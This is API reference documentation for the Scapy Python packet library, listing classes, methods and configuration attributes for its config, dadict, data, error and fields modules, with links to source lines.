class scapy.base_classes.Packet_metaclass(name: str, bases: Tuple[type, ...], dct: Dict[str, Any])[source] [https://github.com/secdev/scapy/blob/master/scapy/base_classes.py#L281-L399]

	Bases: type






	
class scapy.base_classes.SetGen(values: Any, _iterpacket: int = 1)[source] [https://github.com/secdev/scapy/blob/master/scapy/base_classes.py#L83-L109]

	Bases: Gen[_T]








            

          

      

      

    

  

    
      
          
            
  
scapy.config

Implementation of the configuration object.


	
class scapy.config.CacheInstance(name: str = 'noname', timeout: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L363-L493]

	Bases: Dict[str, Any]


	
copy() → CacheInstance[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L491-L493]

	




	
flush() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L372-L375]

	




	
get(item: str, default: Any | None = None) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L394-L401]

	




	
items() → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L459-L461]

	




	
iteritems() → Iterator[Tuple[str, Any]][source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L422-L431]

	




	
iterkeys() → Iterator[str][source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L433-L442]

	




	
itervalues() → Iterator[Tuple[str, Any]][source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L448-L457]

	




	
keys() → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L463-L465]

	




	
name

	




	
summary() → str[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L477-L479]

	




	
timeout

	




	
update(other: Any, **kwargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L410-L420]

	




	
values() → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L467-L469]

	








	
class scapy.config.CommandsList(iterable=(), /)[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L341-L354]

	Bases: List[Callable[[…], Any]]


	
register(cmd: DecoratorCallable) → DecoratorCallable[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L351-L354]

	








	
class scapy.config.Conf[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L882-L1143]

	Bases: ConfClass

This object contains the configuration of Scapy.


	
ASN1_default_codec: scapy.asn1.asn1.ASN1Codec = None

	Codec used by default for ASN1 objects






	
ASN1_default_long_size = 0

	Default size for ASN1 objects






	
AS_resolver: scapy.as_resolvers.AS_resolver = None

	choose the AS resolver class to use






	
BTsocket: Type[scapy.supersocket.SuperSocket] = None

	




	
L2listen: Type[scapy.supersocket.SuperSocket] = None

	




	
L2socket: Type[scapy.supersocket.SuperSocket] = None

	




	
L3socket: Type[scapy.supersocket.SuperSocket] = None

	




	
L3socket6: Type[scapy.supersocket.SuperSocket] = None

	




	
auto_crop_tables = True

	controls whether tables (conf.iface, conf.route…) should be cropped
to fit the terminal






	
auto_fragment = True

	




	
bufsize = 65536

	




	
cache_pcapiflist: Dict[str, Tuple[str, List[str], Any, str]] = {}

	holds the cache of interfaces loaded from Libpcap






	
checkIPID = False

	if 0, doesn’t check that IPID matches between IP sent and
ICMP IP citation received
if 1, checks that they either are equal or byte swapped
equals (bug in some IP stacks)
if 2, strictly checks that they are equals






	
checkIPaddr = True

	




	
checkIPinIP = True

	if True, checks that IP-in-IP layers match. If False, do
not check IP layers that encapsulates another IP layer






	
checkIPsrc = True

	if 1, checks IP src in IP and ICMP IP citation match
(bug in some NAT stacks)






	
check_TCPerror_seqack = False

	if 1, also check that TCP seq and ack match the
ones in ICMP citation






	
color_theme: ColorTheme

	




	
commands: CommandsList = [<function restart>, <function hexdump>, <function linehexdump>, <function chexdump>, <function hexstr>, <function hexdiff>, <function fletcher16_checksum>, <function fletcher16_checkbytes>, <function corrupt_bytes>, <function corrupt_bits>, <function wrpcap>, <function wrpcapng>, <function rdpcap>, <function rderf>, <function wrerf>, <function import_hexcap>, <function wireshark>, <function tdecode>, <function tcpdump>, <function hexedit>, <function bind_layers>, <function split_layers>, <function explore>, <function ls>, <function rfc>, <function fuzz>, <function send>, <function sendp>, <function sendpfast>, <function sr>, <function sr1>, <function srp>, <function srp1>, <function srloop>, <function srploop>, <function srflood>, <function sr1flood>, <function srpflood>, <function srp1flood>, <function sniff>, <function bridge_and_sniff>, <function tshark>]

	




	
contribs: Dict[str, Any] = {}

	a dict which can be used by contrib layers to store local
configuration






	
crypto_valid = False

	




	
crypto_valid_advanced = False

	




	
dcerpc_force_header_signing = False

	If a capture is missing the first DCE/RPC bindin message, we might incorrectly
assume that header signing isn’t used. This forces it on.






	
dcerpc_session_enable = False

	When TCPSession is used, parse DCE/RPC sessions automatically.
This should be used for passive sniffing.






	
debug_dissector = False

	raise exception when a packet dissector raises an exception






	
debug_match = False

	when 1, store received packet that are not matched into debug.recv






	
debug_tls = False

	When 1, print some TLS session secrets when they are computed, and
warn about the session recognition.






	
default_l2: Type[Packet] = None

	




	
dot15d4_protocol = None

	




	
emph: Emphasize = <Emphasize []>

	




	
except_filter = ''

	BPF filter for packets to ignore






	
exts: ExtsManager = Name  Version  Specs

	




	
fancy_banner = True

	controls whether or not to display the fancy banner






	
filter = ''

	bpf filter added to every sniffing socket to exclude traffic
from analysis






	
geoip_city = None

	




	
histfile: str = '/home/docs/.config/scapy/history'

	history file






	
iface: 'scapy.interfaces.NetworkInterface'

	selects the default output interface for srp() and sendp().






	
ifaces: scapy.interfaces.NetworkInterfaceDict = None

	holds the Scapy interface list and manager






	
interactive = False

	




	
interactive_shell = 'auto'

	can be “ipython”, “bpython”, “ptpython”, “ptipython”, “python” or “auto”.
Default: Auto






	
ipv6_enabled: bool = True

	




	
ipython_use_jedi = False

	Configuration for “ipython” to use jedi (disabled by default)






	
l2types: Num2Layer

	




	
l3types: Num2Layer

	




	
layers: LayersList = [<class 'scapy.packet.Packet'>, <class 'scapy.packet.NoPayload'>, <class 'scapy.packet.Raw'>, <class 'scapy.packet.Padding'>, <class 'scapy.asn1packet.ASN1_Packet'>]

	




	
load_layers: List[str] = ['bluetooth', 'bluetooth4LE', 'dcerpc', 'dhcp', 'dhcp6', 'dns', 'dot11', 'dot15d4', 'eap', 'gprs', 'gssapi', 'hsrp', 'inet', 'inet6', 'ipsec', 'ir', 'isakmp', 'kerberos', 'l2', 'l2tp', 'ldap', 'llmnr', 'lltd', 'mgcp', 'mobileip', 'netbios', 'netflow', 'ntlm', 'ntp', 'ppi', 'ppp', 'pptp', 'radius', 'rip', 'rtp', 'sctp', 'sixlowpan', 'skinny', 'smb', 'smb2', 'smbclient', 'smbserver', 'snmp', 'spnego', 'tftp', 'vrrp', 'vxlan', 'x509', 'zigbee', 'tuntap']

	




	
logLevel: int

	




	
loopback_name: str = 'lo'

	




	
manufdb: scapy.data.ManufDA = None

	




	
max_list_count = 100

	the maximum amount of items included in a PacketListField
or a FieldListField


	Type:

	a safety mechanism










	
mib: scapy.asn1.mib.MIBDict = None

	holds MIB direct access dictionary






	
min_pkt_size = 60

	




	
nameservers: str = None

	holds the name servers IP/hosts used for custom DNS resolution






	
neighbor: scapy.layers.l2.Neighbor = None

	




	
netcache: NetCache

	netcache holds time-based caches for net operations






	
nmap_base: str = ''

	




	
nmap_kdb: NmapKnowledgeBase | None = None

	




	
noenum: Resolve = <Resolve []>

	holds list of enum fields for which conversion to string
should NOT be done






	
padding = 1

	includes padding in disassembled packets






	
padding_layer: Type[Packet] = None

	




	
prog: ProgPath = display    = 'display' dot        = 'dot' extcap_folders = ['/home/docs/.config/wireshark/extcap', '/usr/lib/x86_64-li... hexedit    = 'hexer' ifconfig   = 'ifconfig' pdfreader  = 'xdg-open' psreader   = 'xdg-open' svgreader  = 'xdg-open' tcpdump    = 'tcpdump' tcpreplay  = 'tcpreplay' tshark     = 'tshark' universal_open = 'xdg-open' wireshark  = 'wireshark'

	




	
prompt: str

	




	
raise_no_dst_mac = False

	When True, raise exception if no dst MAC found otherwise broadcast.
Default is False.






	
raw_layer: Type[Packet] = None

	




	
raw_summary: bool | Callable[[bytes], Any] = False

	




	
recv_poll_rate = 0.05

	how often to check for new packets.
Defaults to 0.05s.






	
resolve: Resolve = <Resolve []>

	holds list of fields for which resolution should be done






	
route: scapy.route.Route = None

	holds the Scapy IPv4 routing table and provides methods to
manipulate it






	
route6: scapy.route6.Route6 = None

	holds the Scapy IPv6 routing table and provides methods to
manipulate it






	
route6_autoload = True

	automatically load IPv6 routes on startup. Disable this if your
routing table is too big.






	
route_autoload = True

	automatically load IPv4 routes on startup. Disable this if your
routing table is too big.






	
session: str = ''

	filename where the session will be saved






	
sniff_promisc: bool = True

	default mode for the promiscuous mode of a socket (to get answers if you
spoof on a lan)






	
stats_classic_protocols: List[Type[Packet]] = []

	




	
stats_dot11_protocols: List[Type[Packet]] = []

	




	
stealth = 'not implemented'

	if 1, prevents any unwanted packet to go out (ARP, DNS, …)






	
temp_files: List[str] = []

	




	
teredoPrefix: str = ''

	




	
teredoServerPort: int = None

	




	
tls_nss_filename

	Filename containing NSS Keys Log






	
tls_nss_keys: Dict[str, bytes] = None

	Dictionary containing parsed NSS Keys






	
tls_session_enable = False

	When the TLS module is loaded (not by default), the following turns on sessions






	
use_bpf: bool

	




	
use_npcap = False

	




	
use_pcap: bool

	use libpcap integration or not. Changing this value will update
the conf.L[2/3] sockets






	
use_pypy: bool

	read only attribute to show if PyPy is in use






	
verb = 2

	level of verbosity, from 0 (almost mute) to 3 (verbose)






	
version: str

	




	
warning_threshold = 5

	how much time between warnings from the same place






	
wepkey = ''

	




	
winssps_passive = []

	Windows SSPs for sniffing. This is used with
dcerpc_session_enable










	
class scapy.config.ConfClass[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L74-L97]

	Bases: object


	
configure(cnf: ConfClass) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L75-L77]

	








	
class scapy.config.ConfigFieldList[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L169-L202]

	Bases: object


	
add(*flds: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L184-L187]

	




	
remove(*flds: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L189-L192]

	








	
class scapy.config.Emphasize[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L205-L206]

	Bases: ConfigFieldList






	
class scapy.config.ExtsManager[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L581-L684]

	Bases: MetaPathFinder


	
GPLV2_CLASSIFIERS = ['License :: OSI Approved :: GNU General Public License v2 (GPLv2)', 'License :: OSI Approved :: GNU General Public License v2 or later (GPLv2+)']

	




	
SCAPY_PLUGIN_CLASSIFIER = 'Framework :: Scapy'

	




	
all_specs: Dict[str, ScapyExtSpec]

	




	
exts: List[ScapyExt]

	




	
find_spec(fullname, path, target=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L595-L597]

	




	
invalidate_caches()[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L599-L600]

	




	
load()[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L611-L673]

	








	
class scapy.config.Interceptor(name: str, default: Any, hook: Callable[[...], Any], args: List[Any] | None = None, kargs: Dict[str, Any] | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L100-L132]

	Bases: object


	
static set_from_hook(obj: Conf, name: str, val: bool) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L122-L126]

	








	
class scapy.config.LayersList[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L281-L338]

	Bases: List[Type[scapy.packet.Packet]]


	
filter(items: List[Type[Packet]]) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L315-L327]

	Disable dissection of unused layers to speed up dissection






	
layers() → List[Tuple[str, str]][source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L301-L313]

	




	
register(layer: Type[Packet]) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L294-L299]

	




	
unfilter() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L329-L338]

	Re-enable dissection for all layers










	
class scapy.config.NetCache[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L496-L531]

	Bases: object


	
add_cache(cache: CacheInstance) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L501-L504]

	




	
flush() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L524-L527]

	




	
new_cache(name: str, timeout: int | None = None) → CacheInstance[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L506-L510]

	




	
update(other: NetCache) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L516-L522]

	








	
class scapy.config.Num2Layer[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L213-L278]

	Bases: object


	
get(item: int | Type[Packet], default: Type[Packet] | None = None) → int | Type[Packet] | None[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L256-L261]

	




	
register(num: int, layer: Type[Packet]) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L219-L222]

	




	
register_layer2num(num: int, layer: Type[Packet]) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L228-L230]

	




	
register_num2layer(num: int, layer: Type[Packet]) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L224-L226]

	








	
class scapy.config.ProgPath[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L149-L166]

	Bases: ConfClass


	
display: str = 'display'

	




	
dot: str = 'dot'

	




	
extcap_folders: List[str] = ['/home/docs/.config/wireshark/extcap', '/usr/lib/x86_64-linux-gnu/wireshark/extcap']

	




	
hexedit: str = 'hexer'

	




	
ifconfig: str = 'ifconfig'

	




	
pdfreader: str = 'xdg-open'

	




	
psreader: str = 'xdg-open'

	




	
svgreader: str = 'xdg-open'

	




	
tcpdump: str = 'tcpdump'

	




	
tcpreplay: str = 'tcpreplay'

	




	
tshark: str = 'tshark'

	




	
universal_open: str = 'xdg-open'

	




	
wireshark: str = 'wireshark'

	








	
class scapy.config.Resolve[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L209-L210]

	Bases: ConfigFieldList






	
class scapy.config.ScapyExt[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L534-L578]

	Bases: object


	
class MODE(value, names=None, *values, module=None, qualname=None, type=None, start=1, boundary=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L537-L540]

	Bases: Enum


	
CONTRIB = 'contrib'

	




	
LAYERS = 'layers'

	




	
MODULES = 'modules'

	








	
class ScapyExtSpec(fullname: str, mode: 'ScapyExt.MODE', spec: Any, default: bool)[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L542-L547]

	Bases: object


	
default: bool

	




	
fullname: str

	




	
mode: MODE

	




	
spec: Any

	








	
config(name, version)[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L552-L554]

	




	
name

	




	
register(name, mode, path, default=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L556-L571]

	




	
specs: Dict[str, ScapyExtSpec]

	




	
version

	








	
scapy.config.crypto_validator(func: DecoratorCallable) → DecoratorCallable[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1159-L1171]

	This a decorator to be used for any method relying on the cryptography library.  # noqa: E501
Its behaviour depends on the ‘crypto_valid’ attribute of the global ‘conf’.






	
scapy.config.isCryptographyAdvanced() → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L721-L737]

	Check if the cryptography module is present, and if it supports X25519,
ChaCha20Poly1305 and such.

Notes:
- cryptography >= 2.0 is required
- OpenSSL >= 1.1.0 is required






	
scapy.config.isCryptographyValid() → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L708-L718]

	Check if the cryptography module >= 2.0.0 is present. This is the minimum
version for most usages in Scapy.






	
scapy.config.isPyPy() → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L740-L747]

	Returns either scapy is running under PyPy or not






	
scapy.config.lsc() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L357-L360]

	Displays Scapy’s default commands






	
scapy.config.scapy_delete_temp_files() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1174-L1181]

	






            

          

      

      

    

  

    
      
          
            
  
scapy.consts

This file contains constants




            

          

      

      

    

  

    
      
          
            
  
scapy.dadict

Direct Access dictionary.


	
class scapy.dadict.DADict(_name: str = 'DADict', **kargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/dadict.py#L53-L150]

	Bases: Generic[_K, _V]

Direct Access Dictionary

This acts like a dict, but it provides a direct attribute access
to its keys through its values. This is used to store protocols,
manuf…

For instance, scapy fields will use a DADict as an enum:

ETHER_TYPES[2048] -> IPv4





Whereas humans can access:

ETHER_TYPES.IPv4 -> 2048






	
ident(v: _V) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/dadict.py#L75-L82]

	Return value that is used as key for the direct access






	
iterkeys() → Iterator[_K][source] [https://github.com/secdev/scapy/blob/master/scapy/dadict.py#L89-L93]

	




	
itervalues() → Iterator[_V][source] [https://github.com/secdev/scapy/blob/master/scapy/dadict.py#L103-L105]

	




	
keys() → List[_K][source] [https://github.com/secdev/scapy/blob/master/scapy/dadict.py#L95-L97]

	




	
update(*args: Dict[str, _V], **kwargs: Dict[str, _V]) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/dadict.py#L84-L87]

	




	
values() → List[_V][source] [https://github.com/secdev/scapy/blob/master/scapy/dadict.py#L107-L109]

	








	
exception scapy.dadict.DADict_Exception[source] [https://github.com/secdev/scapy/blob/master/scapy/dadict.py#L45-L46]

	Bases: Scapy_Exception






	
scapy.dadict.fixname(x: bytes | str) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/dadict.py#L28-L42]

	Modifies a string to make sure it can be used as an attribute name.








            

          

      

      

    

  

    
      
          
            
  
scapy.data

Global variables and functions for handling external data sets.


	
class scapy.data.EtherDA(_name: str = 'DADict', **kargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/data.py#L333-L354]

	Bases: DADict[int, str]






	
class scapy.data.KnowledgeBase(filename: Any | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/data.py#L553-L577]

	Bases: object


	
get_base() → str | List[Tuple[str, Dict[str, Dict[str, str]]]][source] [https://github.com/secdev/scapy/blob/master/scapy/data.py#L573-L577]

	




	
lazy_init() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/data.py#L559-L561]

	




	
reload(filename: Any | None = None) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/data.py#L563-L571]

	








	
class scapy.data.ManufDA(_name: str = 'DADict', **kargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/data.py#L418-L472]

	Bases: DADict[str, Tuple[str, str]]


	
ident(v: Any) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/data.py#L419-L421]

	




	
lookup(mac: str) → Tuple[str, str][source] [https://github.com/secdev/scapy/blob/master/scapy/data.py#L443-L446]

	Find OUI name matching to a MAC






	
reverse_lookup(name: str, case_sensitive: bool = False) → Dict[str, str][source] [https://github.com/secdev/scapy/blob/master/scapy/data.py#L448-L462]

	Find all MACs registered to a OUI


	Parameters:

	
	name – the OUI name


	case_sensitive – default to False






	Returns:

	a dict of mac:tuples (Name, Extended Name)














	
scapy.data.load_ethertypes(filename: str | None) → EtherDA[source] [https://github.com/secdev/scapy/blob/master/scapy/data.py#L357-L366]

	“Parse /etc/ethertypes and return values as a dictionary.
If unavailable, use the copy bundled with Scapy.






	
scapy.data.load_manuf(filename: str) → ManufDA[source] [https://github.com/secdev/scapy/blob/master/scapy/data.py#L475-L499]

	Loads manuf file from Wireshark.


	Parameters:

	filename – the file to load the manuf file from



	Returns:

	a ManufDA filled object










	
scapy.data.load_protocols(filename: str, _fallback: bytes | None = None, _integer_base: int = 10, _cls: type = scapy.dadict.DADict[int, str]) → DADict[int, str][source] [https://github.com/secdev/scapy/blob/master/scapy/data.py#L293-L330]

	“Parse /etc/protocols and return values as a dictionary.






	
scapy.data.load_services(filename: str) → Tuple[DADict[int, str], DADict[int, str], DADict[int, str]][source] [https://github.com/secdev/scapy/blob/master/scapy/data.py#L369-L415]

	




	
scapy.data.select_path(directories: List[str], filename: str) → str | None[source] [https://github.com/secdev/scapy/blob/master/scapy/data.py#L502-L509]

	Find filename among several directories








            

          

      

      

    

  

    
      
          
            
  
scapy.error

Logging subsystem and basic exception class.


	
class scapy.error.ScapyColoredFormatter(fmt=None, datefmt=None, style='%', validate=True, *, defaults=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/error.py#L78-L96]

	Bases: Formatter

A subclass of logging.Formatter that handles colors.


	
format(record: LogRecord) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/error.py#L88-L96]

	




	
levels_colored = {'CRITICAL': 'bold+white+bg_red', 'DEBUG': 'reset', 'ERROR': 'bold+red', 'INFO': 'reset', 'WARNING': 'bold+yellow'}

	








	
class scapy.error.ScapyFreqFilter[source] [https://github.com/secdev/scapy/blob/master/scapy/error.py#L42-L75]

	Bases: Filter


	
filter(record: LogRecord) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/error.py#L48-L75]

	








	
exception scapy.error.ScapyInvalidPlatformException[source] [https://github.com/secdev/scapy/blob/master/scapy/error.py#L34-L35]

	Bases: Scapy_Exception






	
exception scapy.error.ScapyNoDstMacException[source] [https://github.com/secdev/scapy/blob/master/scapy/error.py#L38-L39]

	Bases: Scapy_Exception






	
exception scapy.error.Scapy_Exception[source] [https://github.com/secdev/scapy/blob/master/scapy/error.py#L30-L31]

	Bases: Exception






	
scapy.error.warning(x: str, *args: Any, **kargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/error.py#L133-L138]

	Prints a warning during runtime.








            

          

      

      

    

  

    
      
          
            
  
scapy.fields

Fields: basic data structures that make up parts of packets.


	
class scapy.fields.ActionField(fld: Field[Any, Any], action_method: str, **kargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L361-L373]

	Bases: _FieldContainer


	
any2i(pkt: Packet | None, val: int) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L370-L373]

	




	
fld

	








	
class scapy.fields.BCDFloatField(name: str, default: Any, fmt: str = 'H')[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2294-L2303]

	Bases: Field[float, int]


	
i2m(pkt: Packet | None, x: float | None) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2295-L2299]

	




	
m2i(pkt: Packet | None, x: int) → float[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2301-L2303]

	








	
class scapy.fields.BitEnumField(name: str, default: int | None, size: int, enum: Dict[int, str], **kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2667-L2684]

	Bases: _BitField[Union[List[int], int]], _EnumField[int]


	
any2i(pkt: Packet | None, x: Any) → List[int] | int[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2675-L2677]

	




	
i2repr(pkt: Packet | None, x: List[int] | int) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2679-L2684]

	




	
i2s: Dict[I, str] | None

	




	
i2s_cb: Callable[[I], str] | None

	




	
s2i: Dict[str, I] | None

	




	
s2i_cb: Callable[[str], I] | None

	








	
class scapy.fields.BitExtendedField(name: str, default: Any | None, extension_bit: int)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3870-L3982]

	Bases: Field[Optional[int], bytes]

Bit Extended Field

This type of field has a variable number of bytes. Each byte is defined
as follows:
- 7 bits of data
- 1 bit an an extension bit:



	0 means it is last byte of the field (“stopping bit”)


	1 means there is another byte after this one (“forwarding bit”)







To get the actual data, it is necessary to hop the binary data byte per
byte and to check the extension bit until 0


	
addfield(pkt: Packet | None, s: bytes, val: int | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3976-L3978]

	




	
extended2str(x: int | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3925-L3961]

	




	
extension_bit

	




	
getfield(pkt: Any | None, s: bytes) → Tuple[bytes, int | None][source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3980-L3982]

	




	
i2m(pkt: Any | None, x: int | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3968-L3970]

	




	
m2i(pkt: Any | None, x: bytes) → int | None[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3972-L3974]

	




	
prepare_byte(x: int) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3888-L3896]

	




	
str2extended(x: bytes = b'') → Tuple[bytes, int | None][source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3898-L3923]

	








	
class scapy.fields.BitField(name: str, default: I | None, size: int, tot_size: int = 0, end_tot_size: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2449-L2450]

	Bases: _BitField[int]

Field to handle bits.


	Parameters:

	
	name – name of the field


	default – default value


	size – size (in bits). If negative, Low endian


	tot_size – size of the total group of bits (in bytes) the bitfield
is in. If negative, Low endian.


	end_tot_size – same but for the BitField ending a group.








Example - normal usage:

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             A             |               B               | C |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. TestPacket

class TestPacket(Packet):
    fields_desc = [
        BitField("a", 0, 14),
        BitField("b", 0, 16),
        BitField("c", 0, 2),
    ]





Example - Low endian stored as 16 bits on the network:

x x x x x x x x x x x x x x x x
a [b] [   c   ] [      a      ]

Will first get reversed during dissecion:

x x x x x x x x x x x x x x x x
[      a        ] [b] [   c   ]

class TestPacket(Packet):
    fields_desc = [
        BitField("a", 0, 9, tot_size=-2),
        BitField("b", 0, 2),
        BitField("c", 0, 5, end_tot_size=-2)
    ]










	
class scapy.fields.BitFieldLenField(name: str, default: Optional[int], size: int, length_of: Optional[Union[Callable[[Optional[Packet]], int], str]]  # noqa: E501 = None, count_of: Optional[str] = None, adjust: Callable[[Optional[Packet], int], int]  # noqa: E501 = <function BitFieldLenField.<lambda>>, tot_size: int = 0, end_tot_size: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2483-L2505]

	Bases: BitField


	
adjust

	




	
count_of

	




	
end_tot_size

	




	
i2m(pkt: Packet | None, x: Any | None) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2503-L2505]

	




	
length_of

	




	
tot_size

	








	
class scapy.fields.BitLenEnumField(name: str, default: int | None, length_from: Callable[[Packet], int], enum: Dict[int, str], **kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2687-L2710]

	Bases: BitLenField, _EnumField[int]


	
any2i(pkt: Packet | None, x: Any) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2701-L2703]

	




	
i2repr(pkt: Packet | None, x: List[int] | int) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2705-L2710]

	




	
i2s: Dict[I, str] | None

	




	
i2s_cb: Callable[[I], str] | None

	




	
s2i: Dict[str, I] | None

	




	
s2i_cb: Callable[[str], I] | None

	








	
class scapy.fields.BitLenField(name: str, default: int | None, length_from: Callable[[Packet], int])[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2453-L2480]

	Bases: BitField


	
addfield(pkt: Packet, s: Tuple[bytes, int, int] | bytes, val: int) → Tuple[bytes, int, int] | bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2473-L2480]

	




	
getfield(pkt: Packet, s: Tuple[bytes, int] | bytes) → Tuple[Tuple[bytes, int], int] | Tuple[bytes, int][source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2465-L2471]

	




	
length_from

	








	
class scapy.fields.BitMultiEnumField(name: str, default: int, size: int, enum: Dict[int, Dict[int, str]], depends_on: Callable[[Packet | None], int])[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2853-L2889]

	Bases: _BitField[Union[List[int], int]], _MultiEnumField[int]


	
any2i(pkt: Packet | None, x: Any) → List[int] | int[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2871-L2877]

	




	
depends_on

	




	
i2repr(pkt: Packet | None, x: List[int] | int) → str | List[str][source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2879-L2889]

	




	
i2s: Dict[I, str] | None

	




	
i2s_cb: Callable[[I], str] | None

	




	
i2s_multi

	




	
s2i: Dict[str, I] | None

	




	
s2i_all: Dict[str, I]

	




	
s2i_cb: Callable[[str], I] | None

	




	
s2i_multi: Dict[I, Dict[str, I]]

	








	
class scapy.fields.BitScalingField(name: str, default: int, size: int, *args: Any, **kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3677-L3685]

	Bases: _ScalingField, BitField

A ScalingField that is a BitField






	
class scapy.fields.BoundStrLenField(name: str, default: bytes, minlen: int = 0, maxlen: int = 255, length_from: Callable[[Packet], int] | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2060-L2078]

	Bases: StrLenField


	
maxlen

	




	
minlen

	




	
randval() → RandBin[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2076-L2078]

	








	
